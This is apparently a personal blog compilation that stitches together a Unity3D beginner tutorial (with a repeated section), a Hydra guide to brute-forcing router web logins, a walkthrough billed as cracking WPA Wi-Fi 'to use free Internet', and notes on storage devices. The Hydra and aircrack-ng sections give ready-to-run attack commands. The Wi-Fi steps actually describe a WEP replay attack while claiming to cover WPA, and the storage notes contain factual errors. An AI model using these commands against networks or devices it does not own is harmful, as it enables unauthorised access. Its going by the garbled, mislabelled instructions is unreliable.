How you make your first video game in Unity3d

The unity 3d game engine allows you to make games for iPhone, mac and pc

etc.A user can download.The good news is that the basic version is free. A user can Download fully functional version of  Unity3d for nono-commerical use for free from unity3d.com.

Once you download and install it run the Software, after execution It opens up angry robot demo by defults.

You need to download all resource files from unity web site. You can download first person shooter game source file from this link file name is FPS_Tutorial.zip.

Starting with very basic step i.e. Terrain

Terrain is the ground, filed, land, soil. So Terrain is the place or platform where you make a game.

Create a Terrain

Open up unity3d game engine and go on file tab and click on a new scene .after that go to the Terrain tab and click on the create terrain it simple and easy . If your terrain is too big you can set its size by Clicking on Terrain tab go to set Resolution.Now your terrain is ready as you want.

Add a light

Add a light on a terrain is so easy. Just open the Game object tab than go to create other and simply Select the light style from here and adjust it at any point where you want by moving through the vector Arrows red, green and blue on the light. You can also increase and decrease the intensity of light through inspector Colum which can be visible near the Hierarchy and project Colum. The Inspector displays detailed information about your currently selected Game Object.

Add a texture of the land

Selecting the terrain from the Hierarchy Colum.

Than go to the inspector Colum which displays detailed information about your currently selected terrain .From here you pick the paint terrain texture button

Then click on the edit texture

A new window is open click on the dropdown (picture) and selects the texture for the terrain.

Add trees in a Terrain

To add trees in a terrain first select the terrain from Hierarchy Colum after that go to inspector Colum

And pick the place tree button than go to click the edit texture button at here a new box is open i.e. add tree. In this box select the (bend factor = 1) and click on the dropdown button and select the tree. You can also change the brush size, tree density, tree width, tree height from inspector Colum.

functional of Unity 3d for non-commerical use for free. Once you download and install it. It opens up with basic island demo.

You need to download all resource files from unity web site. You can download FPS_Tutorial.zip.

And all other packages which you need to make a game.

Starting with very basic step i.e. Terrain

Terrain is the ground, filed, land, soil. So Terrain is the place or platform where you make a game.

Create a Terrain

Open up unity3d game engine and go on file tab and click on a new scene .after that go to the Terrain tab and click on the create terrain it simple and easy . If your terrain is too big you can set its size by Clicking on Terrain tab go to set Resolution.Now your terrain is ready as you want.

Add a light

Add a light on a terrain is so easy. Just open the Game object tab than go to create other and simply Select the light style from here and adjust it at any point where you want by moving through the vector Arrows red, green and blue on the light. You can also increase and decrease the intensity of light through inspector Colum which can be visible near the Hierarchy and project Colum. The Inspector displays detailed information about your currently selected Game Object.

Add a texture of the land

Selecting the terrain from the Hierarchy Colum

Than go to the inspector Colum which displays detailed information about your currently selected terrain .From here you pick the paint terrain texture button

Then click on the edit texture

A new window is open click on the dropdown and selects the texture for the terrain.

Add trees in a Terrain

To add trees in a terrain first select the terrain from Hierarchy Colum after that go to inspector Colum

And pick the place tree button than go to click the edit texture button at here a new box is open i.e. add tree. In this box select the (bend factor = 1) and click on the dropdown button and select the tree. You can also change the brush size, tree density, tree width, tree height from inspector Colum.

Add Mountains

To add Mountains in a terrain first select the terrain from Hierarchy Colum after that go to inspector Colum and pick the Rise/lower terrain after that pick the brush size and  put the mouse on the scene

Press and hold the left mouse button and move the mouse up and down and see the results. If you need any change just press and hold the left mouse button with shift key.


Add sky box

To add sky box first go to the Assets tab than  go to import package and select the sky boxes. If you have already the sky boxes in your project Colum than skip from this step.

After importing the package go to Hierarchy and select the main camera than go to the component tab

Go to the sub link i.e. rendering from here select the skybox as the component of main camera

Adding the first person controller

To add the first person controller in the game view .just go in project Colum or panel and use the search button and type the first controller this bring you the first person controller prefab. We explain you about prefab in detail later on. The first person controller is given to us by unity to make game quickly and easily.  You just simply drag first person controller prefab into the scene view.

Adding the weapon

To add the weapon to first person shooter first we go to the project panel and go to the object folder

And open the weapons folder and select the Gun as a weapon and drag it into the scene view. After that

Go to the Hierarchy panel click on to the Gun and drag it into the main camera as child object of main camera the reason  is if the Gun is the child object of main camera it will follow the player all time.

 

How to use Hydra

Say you have wireless router to which you have forgotten the password. The easiest thing to do in this case is
to reset the router to factory defaults. However if you have a lot of custom settings and your backup is
nonexistent, out-dated, corrupted, or the backup restored a password which you do not remember, you can
try a brute force attack on the router. From http://freeworld.thc.org/thc-hydra/. Hydra currently supports:
TELNET, FTP, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTPS-HEAD, HTTP-PROXY, LDAP2, LADP3,
SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, REXEC, RSH, RLOGIN, CVS, SNMP, SMTP-AUTH,
SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, SSH2, Teamspeak, Cisco auth, Cisco enable,
Cisco AAA (incorporated in telnet module)
For the sake of this document I will use a Linksys WRT54GL, hardware v1.1, Linksys firmware 4.30.11 and
dd-wrt v2.4sp1. The first thing you have to do is find out if the device uses a username AND password to
login. Several devices only require a password to login into the device as admin, root, system, etc. The easiest
way to find this out is to goto the vendor’s website and download installation manual which willgive you this
information. For the Linksys firmware
boot BackTrack and login as root 1.
hydra -l “” -P wordlist.txt -f -v -e ns 192.168.1.1 http-get /
-l is for a username which is null in this case
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options
192.168.1.1 is the IP of the AP
http-get is the correct option to this AP
/ is where you have to put in the username and password. In this case you have to put in the username
and password before you can do anything. You will have to figure this out for yourself as each device is
different.
2.
some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16)
You may have to adjust this number down as larger numbers may cause the router to crash or
misbehave. I usually use 10.
-v / -V verbose mode / show login+pass combination for each attempt
3.
As I said earlier, http-get is the correct option for my Linksys AP (with the factory firmware). When you goto
the AP website a dialog box opens and prompts for a username and password. Each AP is different and as
Cracking Passwords Version 1.1 file:///D:/password10.html
23 of 45 2/15/2010 3:48 PM
such you will have to change options as RaginRob found out. The following is a slightly modified version
from his tutorial.
I recently started playing around with Hydra and tried to hack my router. After searching the forum and
googling around a while I noticed that there are only some howto’s for routers that have http-auth
authentication. That is, when you go to 192.168.2.1 e.g. and before showing anything you have to enter login
and password in a popup. My router (T-Com Sinus 154 DSL Basic 3) and many others I’ve dealt with so far
work differently. When I want to login to my router, I have to go to 192.168.2.1, a web interface with a
password field shows up, and I have to enter the password which is then checked by /cgi-bin/login.exe via
http-post.
It was quite tricky to find out how to use this authentication with hydra, so I guess there are some of you that
can benefit from this. I’ll describe how I did it, so you can adapt the method and use it with your own router.
First of all I examined the login page of the web interface. Be sure to look at the frame source and not the
frameset. You should see the form and the action, here’s what I saw:
The form is defined as:
<form name=”tF” method=”post” action=”/cgi-bin/login.exe” onSubmit=”evaltF();”>
Somewhere in the form there will be the field that takes the password:
<input type=”password” name=”pws” class=”stylepwd” size=”12″ maxlength=”12″>
This is probably the most important data you need. You need to write down the field name (“pws” in my
case). The size attribute comes in very handy too because it tells us that the password’s max length is 12
characters.
After that I tried to get familiar with Hydra’s options. I figured out that you needthe following options:
hydra -l “” -P passwords.txt -t 1 -f -v -V 192.168.2.1 http-post-form /cgi-bin
/login.exe:pws=^PASS^:loginpserr.htm
-l Sets the login name. In the end I don’t need a login name but hydra gets kind of pissed when you don’tpass
something, so I gave an empty string.
-P The wordlist to use for the password
-t 1 task only, not really necessary, I just wanted to make sure Hydra doesn’t choke on too many requests -f
Hydra shall stop when a working password is found
-v be verbose. and even more. I skipped that in the final version but it’s ok for debugging
192.168.1.1 is victim’s ip
http-post-form the method to use
/cgi-bin/login.exe:pws=^PASS^:loginpserr.htm
This is the most important part. Here we tell Hydra what to pass the passwords to. The argument consists of
three parts separated by “:”.
The first part is the script that takes the POST data, we found that in the frame source above.
The second part is the field name of the password field with an added =^PASS^. ^PASS^ is the variable that
hydra substitutes with the passwords in the wordlist.
The third part is the “incorrect” condition. Hydra has to find out somehow if the current password that was
send to the router is correct or not. You have to find a string that is actually IN A NEGATIVE RESPONSE
from the router. As we don’t have the password yet we can’t know what the router will send if the password is
correct, therefore we have to check if it is NOT, which we can find out easily. To find out what the router
sends back to hydra I used Wireshark.
Cracking Passwords Version 1.1 file:///D:/password10.html
Open up wireshark, go to the router login page, start capturing and then login with a wrong password. After
that, stop capturing and apply a “http” filter. You will see the POST data sentfrom hydra to the router (you
should also see the “pws=blabla” in the details, that’s where hydra sends the passwords from the wordlist).
Below that you’ll find the router answer. In my case it says something like “This page has moved to
loginpserr.htm” packed in some basic HTML. So I used the string loginpserr.htm to validate the .. uhm…
faultyness. OMFG %-]
Hydra will consider a password as CORRECT when the router answer DOES NOT contain the given string.
So be sure to take an expression that somehow sounds like “incorrect” or “wrong”. If you took “the” for
example, and the POSITVE response would be something like “the password you entered was correct”, hydra
will not recognize it as correct but incorrect.
If your router does not only need a password but also a username, you can easily add the according login
name to the last part. So if you need to send the field “login” or whatever it is called in your case with the
value “admin” as the only username you could use
/cgi-bin/login.exe:login=admin&pws=^PASS^:loginpserr.htm
When you need to try a whole username list then you can specify the list via
-L usernames.txt
and
/cgi-bin/login.exe:login=^USER^&pws=^PASS^:loginpserr.htm
For dd-wrt do
boot BackTrack and login as root 1.
hydra -l admin -P wordlist.txt -f -e ns 192.168.1.1 http-get /login.asp
-l is for a username which is admin in this case. dd-wrt allows the user to chose the username that is
require to login to the device so it could be anything.
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options
192.168.1.1 is the IP of the AP
http-get is the correct option to this AP
/ is where you have to put in the username and password. In this case you have to put in the username
and password before you can do anything. You will have to figure this out for yourself as each device is
different.
2.
some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16)
You may have to adjust this number down as larger numbers may cause the router to crash or
misbehave. I usually use 10.
-v / -V verbose mode / show login+pass combination for each attempt

END of hydra

How to crack a WPA encypted wifi Network.

 To crack a WPA encrypted wifi Network to use free Internet, you will need is compatible wifi card and backtrack 5.
First download Backtrack 5 from here.
Download the iso and burn it into a DVD or you can run on virtual Machine in this case i am using Vmware to Run backtrack.

So run the backtrack 5 after that you will see the Desktop then open command terminal and type “airmon-ng” this command will show your interface driver and chip set of your network card.

Then type this command “airmon-ng start wlan0” wlan0 is the name of my interface.

Then you will see at the bottom left corner (monitor mode enable on mon0) so i am using mon0 as my interface after that type this command “airodump-ng mon0” then i will start scanning for wifi networks, after that you will see bssid  channel, encryption, essid etc. my essid is “homenet” your will be different after that type this command “airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0” type your bssid, channel and filename
e.g. airodump-ng -c 3 -w wep –bssid 00:18:01:a7:c0:00 mon0
then press enter

then data will flow slowly so to boost the data,
open up a new command terminal and type “aireplay-ng -1 0 -a (bssid) mon0” if you have strong signals coming from the wifi card the you will see this Association Successful

then type this “aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0” then data will flow much faster if you see Use this  packet press y and press enter,

after that open a another command terminal and type “aircrack-ng (filename)*.cap” and press enter, then it will try to crack it now. Then it will say Key found and the key is 12:34:56 coll ans are not the part of the password so remove it.

so Know you have the wireless password Remember to use this Knowledge for good not for evil be ethical.

Commands that i have used

1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap

Storage Devices

In this topic we will discuss about Storage Devices and backup media which are as fallows

– HDD (hard Drive Disk)

  • Solid-State Disk
  • Magnetic Disk

-FDD (floppy Drive disk)

Optical Drives

  • CD
  • DVD
  • RW
  • blu-Ray

-Removable Stroage

  • Flash Drives(SD CARD, thumb drives, USB, Flash)
  • External CD-RW and hard-drive
  • Tape Drive
  • HOT & Non- Hot Swappable devices.

FDD (floppy Drive Disk)

in these days FDD does not use to much and they are very hard to fine Fdd comes in many different sizes and Memory the most popular is the 1.44 Megabytes (MB) an a 3.5 (90mm) disk.

some Computer have built in Floppy drive but some Computer dose not if you have floppy and you need to connect it with a modern Computer that dose not have a floppy drive then you will probably need a USB  floppy drive .in  floppy drive you can save data that are 1.44  MB in memory floppy drive contain magnetic disk to store data know a days people flash dive to store data in Gigabyte’s that why floppy drive are not use to much .

—————————————————————————————–

What is HDD ?

HDD (Hard-drive disk)

hard drive are used to store  an write data they are connected to mother Board or Main board operating System and programs are stored inside the hard drive they are 3 types of hard drive SATA & ATA, PATA, Scuzzy Drive  or SCSI Drive.

SATA (Serial Advanced Technology Attachment) & ATA

Modern computer use ATA drive to store large amount of data.

PATA or IDE Drive

PATA or IDE drive are old and not use to much in computer.

SCSI (Small Computer System interface)

SCSI drives offer faster data transfer speeds than it competitors ATA and IDE. Although ATA and IDE are common for desktop users, these drives do not offer as many features as SCSI which can foster the connection of multiple interfaces.

How Hard Drive Works ?

Hard drive is made of metal and it is very strong hard drive are tightly pack so no dust particles can get it hard drive contain a “platter” in which the data is stored this platter is a magnetic disk,data written and read by”head”,the “arm” move the head back and forth to write the data or read in the “platter”, the platter is move by “spindle” ,An “Actuator” is responsible for the move meant of the arm.So the spindle is spinning the platter and the actuator is reading  and writing  binary’s in the platter.Data are arrange in track in a platter,there are many track on a platter and track contain sectors a sector contain 512 byte’s of information there are million of sectors on a  platter, and those sectors make up the cluster.

SSD or Solid State Disk.

Solid state Disk is modern technology of storing data it is very fast and last longest then any other storing devices, a Solid State Disk contain Flash chips to store data,but hard drive use platter to store data solid state is much expensive the hard drive.

A hard Drive needs to know where to start the system it uses master boot record or MBR it is the first sector of the hard drive, in that tiny little sector boot signature and booting info stored it also contain info for your operating system for where to boot from,if your operating system does’t boot up then there is a problem in the MBR this problem can be fix by rewriting the MBR.

Optical Drives

CD or Compact disk are use to store data and to share it with others it is circular disk a cd has a storing capacity of 700mb.

DVD or Digital Versatile Disk  are used in the same way as CD but it can store a large amount of data as compare to cd. A dvd has a storing capacity of 4.4 Gb for Single layer and 8.5 Gb for dual layer.

Blu-ray Disk are used for sharing data but it has a lot of storage capacity a single layer blu-ray Disk has a storing capacity of 25 Gb and dual layer has a storing capacity of 50 Gb.it is expensive then the other disk as it can store a large amount of data.

Removable Storage 

Removable Storage are very useful for storing data,we can store data in Flash Drive or Memory stick and can plug and remove from the system and can plug into another system.

SD CARD

SD card are very small in size and can store large amount of data they are commonly used in cell phones, cameras,audio devices etc SD card comes in many different shapes and also with different storage capacity.

External Hard-drive

External hard drive are very useful if you need to transfer data from one computer to another. External hard drive have a usb port and a power connection but there are also external hard drive multi adapter where a user can connect ide or sata into that adapter and then connect’s the hard drive or Disk Drive then plug-in a usb cable in to a computer it is very useful if you have a laptop.

Multi External Drive Adapter

Tape Drive

Tape Drive are very use full if you have large scale of data it commonly used in industry or company to store a huge amount of data a user can use a tape drive to copy or backup all the data of all the computer or server automatically at night so if something happens then user can recover that data it also store data in a encryption so other people can’t access the data,a tape drive contain a magnetic tape where the data is stored it can contain up to 16 ,32 or more tape disk so users’s can save a lot of data.

End of Storage Chapter